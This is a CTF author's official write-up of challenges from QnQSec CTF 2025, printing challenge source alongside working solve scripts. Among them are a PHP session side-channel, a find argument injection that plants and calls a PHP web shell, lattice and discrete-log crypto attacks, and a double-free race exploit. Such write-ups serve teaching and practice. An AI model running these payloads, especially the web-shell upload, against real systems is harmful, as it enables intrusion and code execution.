QnQSec CTF 2025 Official Writeup by Whale120

Before all

Hello guys, this is Whale120 here, I contributed two medium crypto, two short web and an interesting concept pwn challenges for the QnQSec CTF 2025 this year. Hope u all like them!
Down below are my official writeups for them 😉, first tkx to qawse for lending me a helping hand to debug the pwn challenge, and members that accepted my short delay on handing in my challenges …

Web

Two (too) easy web challenges :>

Date Logger

A simple piece of PHP on Apache!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
session_start();

$data = [
"2025/09/24" => "00ps, I should have sometime to contribute challenges right?\nBut I want to meet someone ...",
"2025/10/03" => "Hmm... I forgot something but just can't remember them ;P",
"2025/10/08" => "WTF, IS DEADLINE, FINE, THE FLAG IS QnQSec{F_u_LinUx_:sad:!}"
];

$search = $_POST['search'] ?? null;

if ($search) {
$found = false;
foreach ($data as $date => $content) {
if (stripos($date, $search) !== false || stripos($content, $search) !== false) {
$_SESSION['last_found_date'] = $date;
session_destroy();
break;
}
}
}

?>

<h1>Search Me</h1>
<h2><?php echo $search; ?></h2>
<form method="POST">
<label>Search</label>
<input type="text" name="search" required>
<button type="submit">SEND!</button>
</form>

The website will search your post content inside a list of diary notes, and log it into your session … that’s all, no return of any values!
Let’s forget about the XSS vulnerability since there’s no XSS bot here.
So we have to do some side channeling attack, since extract the value of php session info doesn’t seem to be that feasible (and also, we have our session destroy).
Wait, session ?!
Actually, in PHP, a session will store in a file like /tmp/sess_<PHPSESSID> in our challenge, because of this, php disabled many characters inside the PHPSESSID value, limit the size of a session id to prevent some bugs.

So if you put some stange values inside your PHPSESSID cookie:
image
A warning message will be triggered! (Apache default)
What’s more, the message will be triggered again at the session_destroy function, which in the challenge, it means we have a matched the search result, so we can perform a side channel attack based on the error message, especially we have the prefix of flag!
image

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests as req
import string

url = 'http://localhost:8889/'

def oracle(payload):
web = req.post(url, data={'search':payload}, cookies={"PHPSESSID":"whale_say_womp/../../etc/passwd"})
return ('session_destroy' in web.text)

FLAG = 'QnQSec{'

while FLAG[-1]!='}':
for c in string.printable:
if oracle(FLAG+c):
FLAG = FLAG+c
break
print(FLAG)

FaaS

Welcome to the Find as a Service

A straight forward challenge:
Bypass the filter!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$cmd = $_GET['cmd'];
if (!isset($cmd)) {
highlight_file(__FILE__) && die();
}

if (strpos($cmd, ";") !== False || strpos($cmd, "|") !== False || strpos($cmd, "$") !== False ||
strpos($cmd, "`") !== False || strpos($cmd, "&") !== False || strpos($cmd, "\n") !== False ||
strpos($cmd, ">") !== False || strpos($cmd, "<") !== False || strpos($cmd, "(") !== False ||
strpos($cmd, ")") !== False || strpos($cmd, " ") !== False || strpos($cmd, "\r") !== False ||
strpos($cmd, "+") !== False || strpos($cmd, "{") !== False || strpos($cmd, "}") !== False ||
strpos($cmd, "[") !== False || strpos($cmd, "]") !== False) {
die("Bad bad hacker :<");
}

$cmd = "find " . $cmd;
system($cmd);

Since all command injection, shell I/O method to write shell are all blocked, so is time to think about argument injection because - is not blocked

The find command has an injection method to done file write:
find / -fprintf "FILE_NAME" DATA -quit
write DATA into FILE_NAME
but either we want to write to the .htaccess file or write a php file to get shell, the forbid chars like < or > are all necessary

2 Features:

  • TAB (%09) can replace SPACE character
  • In fprintf param, an oct presented character is allowed, like oct(ord('[')) = 0o133, then printf("\\133") will act the same.

Combine the tips up there, we have our final payload:

http://192.168.73.128:8888/?cmd=%09/%09-fprintf%09shell.php%09%22\\74?php%09system\\50\\44_GET\\1330\\135\\51\\73%22%09-quit

then
http://192.168.73.128:8888/shell.php?0=/readflag i want the flag please

image

Crypto

Republic of Geese

A secret sharing scheme through power under $Zmod(p)$

We’ll have 11 values $\prod \space pub_i ^ {\space \space crc32(secret_i)} (mod \space p)$ where $i$ skip one of the 11 numbers every time, pubs are public.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import json
import random
import os
import binascii

# we want to reveal the secret if 10 out of 11 geese leaders here
# When geese hold meetings, it’s a flap session.
p = 471783227105919165842741944821066246927786641093751959384273692130209415901228406897761212988660458934742298734399025424716250391843724961708678150841319006994563839411401495612538412975109499976207558612306657107937014605734460191009962680403849138371603477538074561531445054835120550424442421835395970173257601798132091403055689505612299398851179305703293
FLAG = 'QnQSec{g33s3_d0nt_0verth1nk_th3y_0v3r_fl4p_0a9bec6f}'

geese_count = 11
public_keys = [random.getrandbits(128) for _ in range(geese_count)]
private_keys = [binascii.crc32(os.urandom(3)) for _ in range(geese_count - 1)]
possible_ans = []

out_data = {"msg":"Welcome to the Republic of Geese Leading Session, not a flap session, but is really about the flag :>",
"public_keys": public_keys}
print(json.dumps(out_data))
in_data = json.loads(input())
private_keys.append(binascii.crc32(bytes.fromhex(in_data['key'])))
for i in range(geese_count):
prod = 1
for j in range(geese_count):
if i!=j:
prod *= pow(public_keys[j], private_keys[j], p)
prod %= p
possible_ans.append(prod)

private_keys = []

out_data = {"msg":"you can prove if they cheat on u, key without u ...",
"checker":possible_ans[-1]}
print(json.dumps(out_data))
in_data = json.loads(input())
if in_data['cmd'] != 'reveal_flag':
out_data = {"msg":"Bye bye~"}
print(json.dumps(out_data))
exit()

out_data = {"msg":"Let me check your goosy keys"}
print(json.dumps(out_data))
in_data = json.loads(input())
for i in range(geese_count):
private_keys.append(binascii.crc32(bytes.fromhex(in_data['keys'][i])))

for i in range(geese_count):
prod = 1
for j in range(geese_count):
if i!=j:
prod *= pow(public_keys[j], private_keys[j], p)
prod %= p

if prod in possible_ans:
out_data = {"msg":FLAG}
print(json.dumps(out_data))
exit()

out_data = {"msg":"KEYS FAILED qWq"}
print(json.dumps(out_data))
exit()

A quick observation is that p is smooth, so dlog problem on it is easy to solve.

Then we’ll have:
$checker = \prod \space pub_i ^ {\space \space crc32(secret_i)} (mod \space p) \space where \space i \neq 11$

=>
$log \space checker = \sum \space [log \space pub_i \cdot crc32(secret_i)] \space (mod \space p) \space where \space i \neq 11$

Since $p \simeq 2^{1185}$ but the crc32 outputs are only 32 bits which should be much more smaller then $log \space pub_i$ we estimated under $Zmod(p)$ , is feasible to solve the correct small root for the linear equation via $LLL \space algorithm$

Later just some trivial stuffs 乁( ˙ω˙ )厂, and since other geese’s private keys are only 3 bytes long is feasible to brute force directly

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from sage.all import *
from pwn import *
from hashlib import md5
from tqdm import trange, tqdm
import json
import binascii
from Crypto.Util.number import *

p = 471783227105919165842741944821066246927786641093751959384273692130209415901228406897761212988660458934742298734399025424716250391843724961708678150841319006994563839411401495612538412975109499976207558612306657107937014605734460191009962680403849138371603477538074561531445054835120550424442421835395970173257601798132091403055689505612299398851179305703293
ZZ = Zmod(p)
log_base = ZZ(2)
r = remote('10.120.0.3', 18763)
pubkeys = json.loads(r.recvline().decode())['public_keys']
r.sendline(json.dumps({'key':'aaaa'}).encode())
log_pubkeys = [discrete_log(ZZ(iter), log_base) for iter in tqdm(pubkeys)]
checker = json.loads(r.recvline().decode())['checker']
log_checker = discrete_log(ZZ(checker), log_base)
info("checker, pubkeys logged")

A = [[0]*12 for _ in range(12)]

for i in range(10):
info(f"{i}: {len(bin(log_pubkeys[i]))}")
A[i][-1] = -int(log_pubkeys[i])
A[i][i] = 1

A[-2][-1] = int(log_checker)
A[-2][-2] = int(2**2048)
A[-1][-1] = int(log_base.order()-1)

MM = Matrix(A)
# print(A)
results = MM.LLL()
# print(results)
pre_keys = [0]*11
priv_keys = []
for v in results:
if v[-1] == 0:
info(f"Found small vector: {v}")
priv_keys = list(v)[:10]

priv_keys.append(binascii.crc32(bytes.fromhex('aaaa')))

for i in trange(2**24):
if binascii.crc32(long_to_bytes(i)) in priv_keys:
pre_keys[priv_keys.index(binascii.crc32(long_to_bytes(i)))] = long_to_bytes(i).hex()
info(f"Found {priv_keys.index(binascii.crc32(long_to_bytes(i)))}'th secret: {long_to_bytes(i).hex()}")

print(pre_keys)
r.sendline(json.dumps({'cmd':"reveal_flag"}).encode())
print(r.recv().decode())
r.sendline(json.dumps({'keys': pre_keys}).encode())
r.interactive()

🐿📞

helper.py
helper.py give out a strange prime number generator, generates $N=pq$ for the Elliptic Curve later.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import random

base_prime = 1143710000253594786648593806001124988802924174575621101137352008140273794347

def check_prime(n):
for _ in range(120):
if pow(random.randrange(1, n), n - 1, n) != 1:
return False
return True

# bad bad coding style :> (^ owO ^)

def gen_primes():
new_primes = []
tiny_step = 1<<16

while len(new_primes) != 2:

if len(new_primes) == 0:
step = 1
for i in range(7):
step *= random.getrandbits(33)

p1, p2 = step*base_prime + 1, (tiny_step + step)*base_prime + 1

if check_prime(p1) and len(new_primes) == 0:
new_primes.append(p1)

if check_prime(p2):
new_primes.append(p2)

tiny_step += 2

return new_primes

banner = """===========================================
🐿🪑🎹> Welcome 2 Squirrel Call System .....

,;;:;,
;;;;;
,:;;:; ,'=.
;:;:;' .=" ,'_\\
':;:;,/ ,__:=@
';;:; =./)_
`"=\\_ )_"`
``'"`

Contributed by: 🐋.120 with heart :)
I don't like Oracles, but I love 🐿 calls
==========================================="""

The two primes p1, p2 will be like:
$$
\begin{align}
& p_1 = step \cdot base_{prime} + 1 \newline
& p_2 = (step+\epsilon) \cdot base_{prime} + 1 \newline
& where \space \epsilon \sim 10^6
\end{align}
$$
Then:
$$
\begin{align}
& N=p_1 \cdot p_2 \newline
& = (step \cdot base_{prime} + 1) \cdot [(step+\epsilon) \cdot base_{prime} + 1] \newline
& since \space \epsilon \space is \space small \space enough \newline
& \sim (step \cdot base_{prime})^2+ 2 \cdot step \cdot base_{prime}
\end{align}
$$
So is feasible to obtain a estimated value for coeff step by solving a quadratic equation, later just brute forcing can factor N!

1
2
3
4
5
6
7
8
9
10
11
12
13
def super_factor(p):
p -= 1
ab_a_b = p // base_prime
P.<x>=PolynomialRing(RealField(10000))
f = base_prime*x**2 + 2*x - (p-1)//base_prime
base = int(f.roots()[1][0])
for i in trange(1<<17):
cur_p1 = base-i
cur_p2 = (ab_a_b-cur_p1)//(cur_p1*base_prime+1)
while base_prime * cur_p1 * cur_p2 + cur_p1 + cur_p2 <= ab_a_b:
if base_prime * cur_p1 * cur_p2 + cur_p1 + cur_p2 == ab_a_b:
return cur_p1, cur_p2
cur_p2 += 1

Next is the main challenge file:
It do a Elliptic Curve point multiplication as an oracle with an interger user input over $Zmod(P=p_1 \cdot p_2)$, with a multication with flag first provided.
The strange part is that the modulus P wont be provided …
chal.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from helper import gen_primes, banner
from Crypto.Util.number import inverse, bytes_to_long
from collections import namedtuple

Point = namedtuple("Point", "x y")
O = 'Origin'
FLAG = 'QnQSec{i_really_really_really_really_really_really_really_like_u_:)_🎹🎼🐋}'.encode()

assert len(FLAG) == 81

def check_point(P: tuple):
if P == O:
return True
else:
return (P.y**2 - (P.x**3 + a*P.x + b)) % p == 0 and 0 <= P.x < p and 0 <= P.y < p


def point_inverse(P: tuple):
if P == O:
return P
return Point(P.x, -P.y % p)


def point_addition(P: tuple, Q: tuple):
if P == O:
return Q
elif Q == O:
return P
elif Q == point_inverse(P):
return O
else:
if P == Q:
lam = (3*P.x**2 + a)*inverse(2*P.y, p)
lam %= p
else:
lam = (Q.y - P.y) * inverse((Q.x - P.x), p)
lam %= p
Rx = (lam**2 - P.x - Q.x) % p
Ry = (lam*(P.x - Rx) - P.y) % p
R = Point(Rx, Ry)
assert check_point(R)
return R


def double_and_add(P: tuple, n: int):
Q = P
R = O
while n > 0:
if n % 2 == 1:
R = point_addition(R, Q)
Q = point_addition(Q, Q)
n = n // 2
assert check_point(R)
return R

ps = gen_primes()
p = ps[0]*ps[1]
a = 120
b = 1337

# Generator
g_x = 218
g_y = 3223
G = double_and_add(Point(g_x, g_y), 0x1337)

TRIALS = 7 # Lucky 7 ~
CHALLENGE = double_and_add(G, bytes_to_long(FLAG))

print(banner)
print("===========================================")
print(f"{G.x=}\n{G.y=}")
print("===========================================")
print("Challenge:")
print(f"{CHALLENGE.x=}\n{CHALLENGE.y=}")
print("===========================================")

while TRIALS:
print("Give me the coefficient to do oracle ... uhh ... 🐿cle(🐿call)")
coeff = int(input("🐿call> "))
print("===========================================")
INPUT = double_and_add(G, coeff)
print("Result:")
print(f"{INPUT.x=}\n{INPUT.y=}")
print("===========================================")
TRIALS -= 1

print("Bye Bye~")

The goal now is first to recover the modulus P
Actually, based on the point multiplication formula we know that when doing point doubling, we will have:
$$
\begin{align}
&P_1 = (X_1, Y_1) \newline
&P_3 = (X_3, Y_3) = 2P = (\frac{(3 \cdot X_1^2 + a)^2}{(2 \cdot Y_1)^2}- 2 \cdot X_1, \space \space \frac{3 \cdot X_1^2 + a}{2 \cdot Y_1} -X_3 - Y_1)
\end{align}
$$

Notice that the outcome of $P_3$ is not related to the initial value of $P$, and also we can first do the calculation under $\mathbb{Z}$, via switching some coefficients, then will have:

$$
\begin{align}
&X_3 \cdot (2 \cdot Y_1)^2 \equiv (3 \cdot X_1^2 + a)^2 - 2 \cdot X_1 \cdot (2 \cdot Y_1)^2 (mod \space P)
\end{align}
$$
Same for Y coordinate, and obtain serveral values, subtract them and do GCD we can find the value of P

1
g1 = (x3*(2*y1)**2)-((3*x1**2+a)**2-2*x1*(2*y1)**2)

Later, since $P_1,P_2$ should be kinda smooth, just pick some small factors inside the order for them, solve dlog for them via Pohlig-Hellman, after the bit count is enough, we can obtain the value for flag through CRT! (brute through +/-)

Pwn

Cat’s lottery

Let’s first disasm the file:
Easy to see that we should try to return to the function whale_is_so_cute

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
__int64 v4; // rbx
__int64 v5; // [rsp+0h] [rbp-60h] BYREF
int v6; // [rsp+Ch] [rbp-54h] BYREF
_BYTE v7[16]; // [rsp+10h] [rbp-50h] BYREF
__int16 v8; // [rsp+20h] [rbp-40h] BYREF
int v9; // [rsp+22h] [rbp-3Eh]
__int16 v10; // [rsp+26h] [rbp-3Ah]
int v11; // [rsp+34h] [rbp-2Ch] BYREF
int *v12; // [rsp+38h] [rbp-28h]
int v13; // [rsp+44h] [rbp-1Ch]
unsigned int v14; // [rsp+48h] [rbp-18h]
int i; // [rsp+4Ch] [rbp-14h]

mallopt(4294967288LL, 1, envp);
v3 = time(0);
srandom(v3);
v4 = (__int64)(int)rand() << 32;
win_number = v4 ^ (int)rand();
for ( i = 0; i <= 127; ++i )
players[i] = 0;
v14 = socket(2, 1, 0);
if ( (v14 & 0x80000000) != 0 )
{
perror("socket");
exit(1);
}
v11 = 1;
setsockopt(v14, 1, 2, &v11, 4);
v8 = 2;
v10 = 0;
v9 = (unsigned __int16)ntohs(1337);
if ( (int)bind(v14, &v8, 16) < 0 )
{
perror("bind");
exit(1);
}
if ( (int)listen(v14, 10) < 0 )
{
perror("listen");
exit(1);
}
puts("Server listening on port 1337...");
while ( 1 )
{
do
{
v6 = 16;
v13 = accept(v14, v7, &v6);
}
while ( v13 < 0 );
v12 = (int *)malloc(4);
*v12 = v13;
pthread_create(&v5, 0, client_handler, v12);
pthread_detach(v5);
}
}

A multithreading program opened on port 1337, after some reversing we’ll find that there’re two structures, let’s call them user and ticket

1
2
3
4
5
6
7
8
9
10
struct player {
char name[8];
char fd;
int money;
};

struct ticket {
long long idx;
long long mask;
};

The comunication through client and server side is based on the fd number, it will open on file /proc/self/fd/<fd_id>

Let’s check client_handler function

1
2
3
4
5
6
7
8
9
if ( Line > 0 )
{
v5 = Line;
if ( Line > 8 )
v5 = 8;
v51 = v5;
*(_BYTE *)(players[v58] + 8LL) = v58;
j_memcpy(players[v58], v43, v51);
*(_BYTE *)(players[v58] + v51) = 0;

While registering for a new account, there’s a off by null bug that if a user inputed a username with length greater then 8, the 8-index char will be change to NULL, which in our struct is actually the fd numnber
What’s more?
When a connection is closed, it will free a chunk based on the client fd number as a global array’s index, without cleaning the pointer
So if we have two clients both with fd = 0 caused by off by NULL, a double free will appear.

1
2
3
4
pthread_mutex_lock(&players_lock);
v44 = *(char *)(players[v58] + 8LL);
free(players[v44]);
pthread_mutex_unlock(&players_lock);

Last, let’s take a look at the hack switch:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
else if ( (unsigned int)_isoc99_sscanf(
(unsigned int)&v42,
(unsigned int)"%d %lld",
(unsigned int)&v40,
(unsigned int)&v39,
v15,
v16,
v36) == 2 )
{
if ( v40 < 0xC )
{
for ( j = 0; j <= 7; ++j )
{
v20 = (__int64)(int)rand() << 32;
v21 = (int)rand() ^ (unsigned __int64)v20;
v37[j] = v21;
}
v49 = (_QWORD *)malloc(16);
*v49 = (int)v40;
v22 = (__int64)(int)rand() << 32;
v49[1] = (int)rand() ^ (unsigned __int64)v22;
dprintf(
v53,
(unsigned int)"Using ticket with idx=%d, mask=0x%llx. Confirm? (Y/N): ",
v40,
v49[1],
v23,
v24);
v48 = readLine(v53, v38, 4);
if ( v48 > 0 && (v38[0] == 89 || v38[0] == 121) )
{
if ( *v49 >= 8u )
v47 = v37;
v37[*v49] = v39;
v55 = win_number;
for ( k = 0; k <= 7; ++k )
v55 ^= v37[k];
if ( v55 )
{
dprintf(
v53,
(unsigned int)"Hack attempt failed. XOR is 0x%llx.\n",
v55,
(unsigned int)"Hack attempt failed. XOR is 0x%llx.\n",
v26,
v27);
}
else
{
v28 = v58;
*(_DWORD *)(players[v28] + 12LL) += 133337;
dprintf(
v53,
(unsigned int)"Hack success! XOR is 0, you win 133337.\n",
(unsigned int)"Hack success! XOR is 0, you win 133337.\n",
v28 * 8,
v26,
v27);
}
}
else
{
dprintf(v53, (unsigned int)"Hack canceled.\n", (unsigned int)"Hack canceled.\n", v25, v26, v27);
}
free(v49);
}

Though it checks the index for the ticket structure to make sure no OOB write will appear, but there’s a race condition that after the check passed til we entered hack (Y/N), combine the double free previous we can change the value for a checked ticket via double free, just register a new account and point the index value to the corresponding slot of the return address, jump to win function (whale_is_so_cute), connect to the server again then we’ll get the flag!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
from time import sleep

WAIT_TIME = 1
chal_host = "0.0.0.0"
chal_port = 1337

p1=remote(chal_host, chal_port)
p1.sendlineafter(": ",b"1"*8)
sleep(WAIT_TIME)
p2=remote(chal_host, chal_port)
p2.sendlineafter(": ",b"2"*8)
sleep(WAIT_TIME)
p3=remote(chal_host, chal_port)
p3.sendlineafter(": ","3")
sleep(WAIT_TIME)
p1.sendlineafter("> ","exit")
sleep(WAIT_TIME)
p3.sendlineafter("> ","hack 0 "+str(0x00401b2a))
sleep(WAIT_TIME)
p2.sendlineafter("> ","exit")
sleep(WAIT_TIME)
p4=remote(chal_host, chal_port)
p4.sendlineafter(": ",p32(51))
sleep(WAIT_TIME)
p5=remote(chal_host, chal_port)
p5.sendlineafter(": ","fd?")
pause()
p3.sendlineafter(": ",'y')
p3.sendlineafter(": ",'exit')
p5.interactive()

image

After all

Just a short story…
Let’s guess how long it took me to done all challenges~?
Two days…because I procrastinated and also busy these days actually
And I was like … getting INSANE, also becuz I’m so afraid that GPT and other LLMs are stronger and stronger day by day … so I have to pick some topics or ideas that’re nearly never been seen online before …

So I started to do some Graffiti … procrastinating again
image
But I was just like … many geese … hey, why not letting them doing some secret sharing ???
Yep, I must be crazy XD
The sharing scheme was based on powers and modulus as u seen above :)

Yep, this is all my post today becuz it’s too late and I’m going to sleep (also maybe prepare for my midterm exam …)